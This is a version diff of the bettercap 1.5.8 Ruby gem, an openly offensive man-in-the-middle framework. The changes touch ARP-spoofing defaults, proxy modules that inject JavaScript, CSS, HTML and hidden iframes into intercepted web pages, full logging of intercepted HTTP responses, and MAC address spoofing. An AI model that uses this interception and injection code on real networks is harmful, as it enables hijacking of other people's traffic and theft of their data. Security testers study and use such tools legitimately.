bettercap 1.5.7 → 1.5.8
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/bettercap/context.rb +1 -1
- data/lib/bettercap/network/protos/teamviewer.rb +7 -2
- data/lib/bettercap/options/proxy_options.rb +7 -0
- data/lib/bettercap/options/spoof_options.rb +3 -3
- data/lib/bettercap/proxy/http/modules/injectcss.rb +4 -4
- data/lib/bettercap/proxy/http/modules/injecthtml.rb +11 -5
- data/lib/bettercap/proxy/http/modules/injectjs.rb +4 -4
- data/lib/bettercap/proxy/http/ssl/authority.rb +1 -1
- data/lib/bettercap/proxy/stream_logger.rb +36 -3
- data/lib/bettercap/shell.rb +11 -0
- data/lib/bettercap/version.rb +1 -1
- metadata +34 -35
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: fae72c45d628b9638bb5b384c351065d75ad48b4
|
4
|
+
data.tar.gz: 5c8d16d02481507e50bbe97fe3a84122f8bb8ffb
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: b9f33856ef7ef0194c584a9de47968642608464f6ec32bfa5dc502e4a0b97fc8352550b2d9edcd9953ba4a2dda54a6e8ae70bae6504d6ab837248d15bc9bf7b8
|
7
|
+
data.tar.gz: d901dc26801e51b558455b665454c59d3a9ce8ba977c0c77b39d4f66a1b5208af0a8956e22528bd6c519c08f8c5b88ff2e28fd27b8175b9baa68836e6fa9d070
|
data/lib/bettercap/context.rb
CHANGED
@@ -95,7 +95,7 @@ class Context
|
|
95
95
|
|
96
96
|
Logger.info "Changing interface MAC address to #{@options.core.use_mac}"
|
97
97
|
|
98
|
-
Shell.
|
98
|
+
Shell.change_mac( @options.core.iface, @options.core.use_mac )
|
99
99
|
end
|
100
100
|
|
101
101
|
cfg = PacketFu::Utils.ifconfig @options.core.iface
|
@@ -104,8 +104,13 @@ class Packet < Network::Protos::Base
|
|
104
104
|
uint8 :command_code
|
105
105
|
|
106
106
|
def version
|
107
|
-
|
108
|
-
|
107
|
+
if self.magic == 0x1724
|
108
|
+
return '1'
|
109
|
+
elsif self.magic == 0x1130
|
110
|
+
return '2'
|
111
|
+
else
|
112
|
+
return '?'
|
113
|
+
end
|
109
114
|
end
|
110
115
|
|
111
116
|
def command
|
@@ -36,6 +36,8 @@ class ProxyOptions
|
|
36
36
|
attr_accessor :sslstrip
|
37
37
|
# If true, direct connections to the IP of this machine will be allowed.
|
38
38
|
attr_accessor :allow_local_connections
|
39
|
+
# If true, log HTTP responses too.
|
40
|
+
attr_accessor :log_response
|
39
41
|
# If true, TCP proxy will be enabled.
|
40
42
|
attr_accessor :tcp_proxy
|
41
43
|
# TCP proxy local port.
|
@@ -69,6 +71,7 @@ class ProxyOptions
|
|
69
71
|
@proxy_module = nil
|
70
72
|
@sslstrip = true
|
71
73
|
@allow_local_connections = false
|
74
|
+
@log_response = false
|
72
75
|
|
73
76
|
@tcp_proxy = false
|
74
77
|
@tcp_proxy_port = 2222
|
@@ -160,6 +163,10 @@ class ProxyOptions
|
|
160
163
|
@sslstrip = false
|
161
164
|
end
|
162
165
|
|
166
|
+
opts.on( '--log-http-response', 'Log HTTP responses.' ) do
|
167
|
+
@log_response = true
|
168
|
+
end
|
169
|
+
|
163
170
|
opts.on( '--proxy-module MODULE', "Ruby proxy module to load, either a custom file or one of the following: #{Proxy::HTTP::Module.available.map{|x| x.yellow}.join(', ')}." ) do |v|
|
164
171
|
Proxy::HTTP::Module.load(ctx, opts, v)
|
165
172
|
@proxy = true
|
@@ -24,7 +24,7 @@ class SpoofOptions
|
|
24
24
|
|
25
25
|
def initialize
|
26
26
|
@spoofer = 'ARP'
|
27
|
-
@half_duplex =
|
27
|
+
@half_duplex = true
|
28
28
|
@kill = false
|
29
29
|
end
|
30
30
|
|
@@ -41,8 +41,8 @@ class SpoofOptions
|
|
41
41
|
@spoofer = 'NONE'
|
42
42
|
end
|
43
43
|
|
44
|
-
opts.on( '--
|
45
|
-
@half_duplex =
|
44
|
+
opts.on( '--full-duplex', 'Enable full-duplex MITM, this will make bettercap attack both the target(s) and the router.' ) do
|
45
|
+
@half_duplex = false
|
46
46
|
end
|
47
47
|
|
48
48
|
opts.on( '--kill', 'Instead of forwarding packets, this switch will make targets connections to be killed.' ) do
|
@@ -67,13 +67,13 @@ class InjectCSS < BetterCap::Proxy::HTTP::Module
|
|
67
67
|
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
|
68
68
|
# inject URL
|
69
69
|
if @@cssdata.nil?
|
70
|
-
|
71
|
-
response.body.sub!( '</head>' ) {replacement}
|
70
|
+
replacement = " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head> "
|
72
71
|
# inject data
|
73
72
|
else
|
74
|
-
|
75
|
-
response.body.sub!( '</head>' ) {replacement}
|
73
|
+
replacement = "#{@@cssdata}</head> "
|
76
74
|
end
|
75
|
+
|
76
|
+
response.body.sub!( /<\/head>/i ) { replacement }
|
77
77
|
end
|
78
78
|
end
|
79
79
|
end
|
@@ -36,6 +36,12 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
|
|
36
36
|
@@data = v
|
37
37
|
end
|
38
38
|
|
39
|
+
opts.on( '--html-file PATH', 'Path of the html file to be injected.' ) do |v|
|
40
|
+
filename = File.expand_path v
|
41
|
+
raise BetterCap::Error, "#{filename} invalid file." unless File.exists?(filename)
|
42
|
+
@@data = File.read( filename )
|
43
|
+
end
|
44
|
+
|
39
45
|
opts.on( '--html-iframe-url URL', 'URL of the iframe that will be injected, if this option is specified an "iframe" tag will be injected.' ) do |v|
|
40
46
|
@@iframe = v
|
41
47
|
end
|
@@ -44,7 +50,7 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
|
|
44
50
|
# Create an instance of this module and raise a BetterCap::Error if command
|
45
51
|
# line arguments weren't correctly specified.
|
46
52
|
def initialize
|
47
|
-
raise BetterCap::Error, "No --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
|
53
|
+
raise BetterCap::Error, "No --html-file, --html-data or --html-iframe-url options specified for the proxy module." if @@data.nil? and @@iframe.nil?
|
48
54
|
end
|
49
55
|
|
50
56
|
# Called by the BetterCap::Proxy::HTTP::Proxy processor on each HTTP +request+ and
|
@@ -55,12 +61,12 @@ class InjectHTML < BetterCap::Proxy::HTTP::Module
|
|
55
61
|
BetterCap::Logger.info "[#{'INJECTHTML'.green}] Injecting HTML code into #{request.to_url}"
|
56
62
|
|
57
63
|
if @@data.nil?
|
58
|
-
|
59
|
-
response.body.sub!( '</body>' ) {replacement}
|
64
|
+
replacement = "<iframe src=\"#{@@iframe}\" frameborder=\"0\" height=\"0\" width=\"0\"></iframe></body>"
|
60
65
|
else
|
61
|
-
|
62
|
-
response.body.sub!( '</body>' ) {replacement}
|
66
|
+
replacement = "#{@@data}</body>"
|
63
67
|
end
|
68
|
+
|
69
|
+
response.body.sub!( /<\/body>/i ) { replacement }
|
64
70
|
end
|
65
71
|
end
|
66
72
|
end
|
@@ -67,13 +67,13 @@ class InjectJS < BetterCap::Proxy::HTTP::Module
|
|
67
67
|
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
|
68
68
|
# inject URL
|
69
69
|
if @@jsdata.nil?
|
70
|
-
|
71
|
-
response.body.sub!( '</head>' ) {replacement}
|
70
|
+
replacement = "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>"
|
72
71
|
# inject data
|
73
72
|
else
|
74
|
-
|
75
|
-
response.body.sub!( '</head>') {replacement}
|
73
|
+
replacement = "#{@@jsdata}</head>"
|
76
74
|
end
|
75
|
+
|
76
|
+
response.body.sub!( /<\/head>/i ) { replacement }
|
77
77
|
end
|
78
78
|
end
|
79
79
|
end
|
@@ -59,7 +59,7 @@ class Store
|
|
59
59
|
# Find the +hostname+:+port+ certificate and return it.
|
60
60
|
def find( hostname, port )
|
61
61
|
# make sure *.domain.tld hostnames are correctly sanitized
|
62
|
-
hostname.gsub!( "
|
62
|
+
hostname.gsub!( "*.", "www." )
|
63
63
|
|
64
64
|
key = Digest::SHA256.hexdigest( "#{hostname}_#{port}" )
|
65
65
|
|
@@ -130,11 +130,11 @@ class StreamLogger
|
|
130
130
|
def self.log_post( request )
|
131
131
|
# the packet could be incomplete
|
132
132
|
if request.post? and !request.body.nil? and !request.body.empty?
|
133
|
-
msg = "\n[#{'HEADERS'.green}]\n\n"
|
133
|
+
msg = "\n[#{'REQUEST HEADERS'.green}]\n\n"
|
134
134
|
request.headers.each do |name,value|
|
135
135
|
msg << " #{name.blue} : #{value.yellow}\n"
|
136
136
|
end
|
137
|
-
msg << "\n[#{'BODY'.green}]\n\n"
|
137
|
+
msg << "\n[#{'REQUEST BODY'.green}]\n\n"
|
138
138
|
|
139
139
|
case request['Content-Type']
|
140
140
|
when /application\/x-www-form-urlencoded.*/i
|
@@ -157,12 +157,40 @@ class StreamLogger
|
|
157
157
|
end
|
158
158
|
end
|
159
159
|
|
160
|
+
# This method will log every header and the body of +response+.
|
161
|
+
def self.log_response( response )
|
162
|
+
msg = "\n[#{'RESPONSE HEADERS'.light_red}]\n\n"
|
163
|
+
response.headers.each do |name,value|
|
164
|
+
msg << " #{name.blue} : #{value.to_s.yellow}\n"
|
165
|
+
end
|
166
|
+
msg << "\n[#{'RESPONSE BODY'.light_red}]\n\n"
|
167
|
+
|
168
|
+
case response['Content-Type']
|
169
|
+
when /application\/x-www-form-urlencoded.*/i
|
170
|
+
msg << self.dump_form( response )
|
171
|
+
|
172
|
+
when /text\/plain.*/i
|
173
|
+
msg << response.body + "\n"
|
174
|
+
|
175
|
+
when /gzip.*/i
|
176
|
+
msg << self.dump_gzip( response )
|
177
|
+
|
178
|
+
when /application\/json.*/i
|
179
|
+
msg << self.dump_json( response )
|
180
|
+
|
181
|
+
else
|
182
|
+
msg << self.hexdump( response.body )
|
183
|
+
end
|
184
|
+
|
185
|
+
Logger.raw "#{msg}\n"
|
186
|
+
end
|
187
|
+
|
160
188
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
161
189
|
# with the +request+ and +response+ most important informations.
|
162
190
|
def self.log_http( request, response )
|
163
191
|
response_s = ""
|
164
192
|
response_s += " ( #{response.content_type} )" unless response.content_type.nil?
|
165
|
-
request_s = request.to_url(
|
193
|
+
request_s = request.to_url( nil )
|
166
194
|
code = response.code.to_s[0]
|
167
195
|
|
168
196
|
if @@CODE_COLORS.has_key? code
|
@@ -172,10 +200,15 @@ class StreamLogger
|
|
172
200
|
end
|
173
201
|
|
174
202
|
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
|
203
|
+
|
175
204
|
# Log post body if the POST sniffer is enabled.
|
176
205
|
if Context.get.options.sniff.enabled?('POST')
|
177
206
|
self.log_post( request )
|
178
207
|
end
|
208
|
+
|
209
|
+
if Context.get.options.proxies.log_response
|
210
|
+
self.log_response( response )
|
211
|
+
end
|
179
212
|
end
|
180
213
|
end
|
181
214
|
end
|
data/lib/bettercap/shell.rb
CHANGED
@@ -56,6 +56,17 @@ module Shell
|
|
56
56
|
self.execute( "LANG=en && ifconfig #{iface}" )
|
57
57
|
end
|
58
58
|
|
59
|
+
# Change the +iface+ mac address to +mac+ using ifconfig.
|
60
|
+
def change_mac(iface, mac)
|
61
|
+
if RUBY_PLATFORM =~ /.+bsd/ or RUBY_PLATFORM =~ /darwin/
|
62
|
+
self.ifconfig( "#{iface} ether #{mac}")
|
63
|
+
elsif RUBY_PLATFORM =~ /linux/
|
64
|
+
self.ifconfig( "#{iface} hw ether #{mac}")
|
65
|
+
else
|
66
|
+
raise BetterCap::Error, 'Unsupported operating system'
|
67
|
+
end
|
68
|
+
end
|
69
|
+
|
59
70
|
# Get the +iface+ network interface configuration ( using iproute2 ).
|
60
71
|
def ip(iface = '')
|
61
72
|
self.execute( "LANG=en && ip addr show #{iface}" )
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.5.
|
15
|
+
VERSION = '1.5.8'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,147 +1,147 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.5.
|
4
|
+
version: 1.5.8
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-08-
|
11
|
+
date: 2016-08-26 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
15
15
|
requirement: !ruby/object:Gem::Requirement
|
16
16
|
requirements:
|
17
|
-
- -
|
17
|
+
- - ~>
|
18
18
|
- !ruby/object:Gem::Version
|
19
19
|
version: 0.8.0
|
20
20
|
type: :runtime
|
21
21
|
prerelease: false
|
22
22
|
version_requirements: !ruby/object:Gem::Requirement
|
23
23
|
requirements:
|
24
|
-
- -
|
24
|
+
- - ~>
|
25
25
|
- !ruby/object:Gem::Version
|
26
26
|
version: 0.8.0
|
27
27
|
- !ruby/object:Gem::Dependency
|
28
28
|
name: packetfu
|
29
29
|
requirement: !ruby/object:Gem::Requirement
|
30
30
|
requirements:
|
31
|
-
- -
|
31
|
+
- - ~>
|
32
32
|
- !ruby/object:Gem::Version
|
33
33
|
version: '1.1'
|
34
|
-
- -
|
34
|
+
- - '>='
|
35
35
|
- !ruby/object:Gem::Version
|
36
36
|
version: 1.1.10
|
37
37
|
type: :runtime
|
38
38
|
prerelease: false
|
39
39
|
version_requirements: !ruby/object:Gem::Requirement
|
40
40
|
requirements:
|
41
|
-
- -
|
41
|
+
- - ~>
|
42
42
|
- !ruby/object:Gem::Version
|
43
43
|
version: '1.1'
|
44
|
-
- -
|
44
|
+
- - '>='
|
45
45
|
- !ruby/object:Gem::Version
|
46
46
|
version: 1.1.10
|
47
47
|
- !ruby/object:Gem::Dependency
|
48
48
|
name: pcaprub
|
49
49
|
requirement: !ruby/object:Gem::Requirement
|
50
50
|
requirements:
|
51
|
-
- -
|
51
|
+
- - ~>
|
52
52
|
- !ruby/object:Gem::Version
|
53
53
|
version: '0.12'
|
54
|
-
- -
|
54
|
+
- - '>='
|
55
55
|
- !ruby/object:Gem::Version
|
56
56
|
version: 0.12.0
|
57
57
|
type: :runtime
|
58
58
|
prerelease: false
|
59
59
|
version_requirements: !ruby/object:Gem::Requirement
|
60
60
|
requirements:
|
61
|
-
- -
|
61
|
+
- - ~>
|
62
62
|
- !ruby/object:Gem::Version
|
63
63
|
version: '0.12'
|
64
|
-
- -
|
64
|
+
- - '>='
|
65
65
|
- !ruby/object:Gem::Version
|
66
66
|
version: 0.12.0
|
67
67
|
- !ruby/object:Gem::Dependency
|
68
68
|
name: network_interface
|
69
69
|
requirement: !ruby/object:Gem::Requirement
|
70
70
|
requirements:
|
71
|
-
- -
|
71
|
+
- - ~>
|
72
72
|
- !ruby/object:Gem::Version
|
73
73
|
version: '0.0'
|
74
|
-
- -
|
74
|
+
- - '>='
|
75
75
|
- !ruby/object:Gem::Version
|
76
76
|
version: 0.0.1
|
77
77
|
type: :runtime
|
78
78
|
prerelease: false
|
79
79
|
version_requirements: !ruby/object:Gem::Requirement
|
80
80
|
requirements:
|
81
|
-
- -
|
81
|
+
- - ~>
|
82
82
|
- !ruby/object:Gem::Version
|
83
83
|
version: '0.0'
|
84
|
-
- -
|
84
|
+
- - '>='
|
85
85
|
- !ruby/object:Gem::Version
|
86
86
|
version: 0.0.1
|
87
87
|
- !ruby/object:Gem::Dependency
|
88
88
|
name: net-dns
|
89
89
|
requirement: !ruby/object:Gem::Requirement
|
90
90
|
requirements:
|
91
|
-
- -
|
91
|
+
- - ~>
|
92
92
|
- !ruby/object:Gem::Version
|
93
93
|
version: '0.8'
|
94
|
-
- -
|
94
|
+
- - '>='
|
95
95
|
- !ruby/object:Gem::Version
|
96
96
|
version: 0.8.0
|
97
97
|
type: :runtime
|
98
98
|
prerelease: false
|
99
99
|
version_requirements: !ruby/object:Gem::Requirement
|
100
100
|
requirements:
|
101
|
-
- -
|
101
|
+
- - ~>
|
102
102
|
- !ruby/object:Gem::Version
|
103
103
|
version: '0.8'
|
104
|
-
- -
|
104
|
+
- - '>='
|
105
105
|
- !ruby/object:Gem::Version
|
106
106
|
version: 0.8.0
|
107
107
|
- !ruby/object:Gem::Dependency
|
108
108
|
name: rubydns
|
109
109
|
requirement: !ruby/object:Gem::Requirement
|
110
110
|
requirements:
|
111
|
-
- -
|
111
|
+
- - ~>
|
112
112
|
- !ruby/object:Gem::Version
|
113
113
|
version: '1.0'
|
114
|
-
- -
|
114
|
+
- - '>='
|
115
115
|
- !ruby/object:Gem::Version
|
116
116
|
version: 1.0.3
|
117
117
|
type: :runtime
|
118
118
|
prerelease: false
|
119
119
|
version_requirements: !ruby/object:Gem::Requirement
|
120
120
|
requirements:
|
121
|
-
- -
|
121
|
+
- - ~>
|
122
122
|
- !ruby/object:Gem::Version
|
123
123
|
version: '1.0'
|
124
|
-
- -
|
124
|
+
- - '>='
|
125
125
|
- !ruby/object:Gem::Version
|
126
126
|
version: 1.0.3
|
127
127
|
- !ruby/object:Gem::Dependency
|
128
128
|
name: em-proxy
|
129
129
|
requirement: !ruby/object:Gem::Requirement
|
130
130
|
requirements:
|
131
|
-
- -
|
131
|
+
- - ~>
|
132
132
|
- !ruby/object:Gem::Version
|
133
133
|
version: '0.1'
|
134
|
-
- -
|
134
|
+
- - '>='
|
135
135
|
- !ruby/object:Gem::Version
|
136
136
|
version: 0.1.8
|
137
137
|
type: :runtime
|
138
138
|
prerelease: false
|
139
139
|
version_requirements: !ruby/object:Gem::Requirement
|
140
140
|
requirements:
|
141
|
-
- -
|
141
|
+
- - ~>
|
142
142
|
- !ruby/object:Gem::Version
|
143
143
|
version: '0.1'
|
144
|
-
- -
|
144
|
+
- - '>='
|
145
145
|
- !ruby/object:Gem::Version
|
146
146
|
version: 0.1.8
|
147
147
|
description: BetterCap is the state of the art, modular, portable and easily extensible
|
@@ -155,8 +155,6 @@ extra_rdoc_files: []
|
|
155
155
|
files:
|
156
156
|
- LICENSE.md
|
157
157
|
- README.md
|
158
|
-
- bin/bettercap
|
159
|
-
- lib/bettercap.rb
|
160
158
|
- lib/bettercap/banner
|
161
159
|
- lib/bettercap/context.rb
|
162
160
|
- lib/bettercap/discovery/agents/arp.rb
|
@@ -251,30 +249,31 @@ files:
|
|
251
249
|
- lib/bettercap/spoofers/none.rb
|
252
250
|
- lib/bettercap/update_checker.rb
|
253
251
|
- lib/bettercap/version.rb
|
252
|
+
- lib/bettercap.rb
|
253
|
+
- bin/bettercap
|
254
254
|
homepage: http://github.com/evilsocket/bettercap
|
255
255
|
licenses:
|
256
256
|
- GPL-3.0
|
257
257
|
metadata: {}
|
258
258
|
post_install_message:
|
259
259
|
rdoc_options:
|
260
|
-
-
|
260
|
+
- --charset=UTF-8
|
261
261
|
require_paths:
|
262
262
|
- lib
|
263
263
|
required_ruby_version: !ruby/object:Gem::Requirement
|
264
264
|
requirements:
|
265
|
-
- -
|
265
|
+
- - '>='
|
266
266
|
- !ruby/object:Gem::Version
|
267
267
|
version: '1.9'
|
268
268
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
269
269
|
requirements:
|
270
|
-
- -
|
270
|
+
- - '>='
|
271
271
|
- !ruby/object:Gem::Version
|
272
272
|
version: '0'
|
273
273
|
requirements: []
|
274
274
|
rubyforge_project:
|
275
|
-
rubygems_version: 2.
|
275
|
+
rubygems_version: 2.0.14.1
|
276
276
|
signing_key:
|
277
277
|
specification_version: 4
|
278
278
|
summary: A complete, modular, portable and easily extensible MITM framework.
|
279
279
|
test_files: []
|
280
|
-
has_rdoc:
|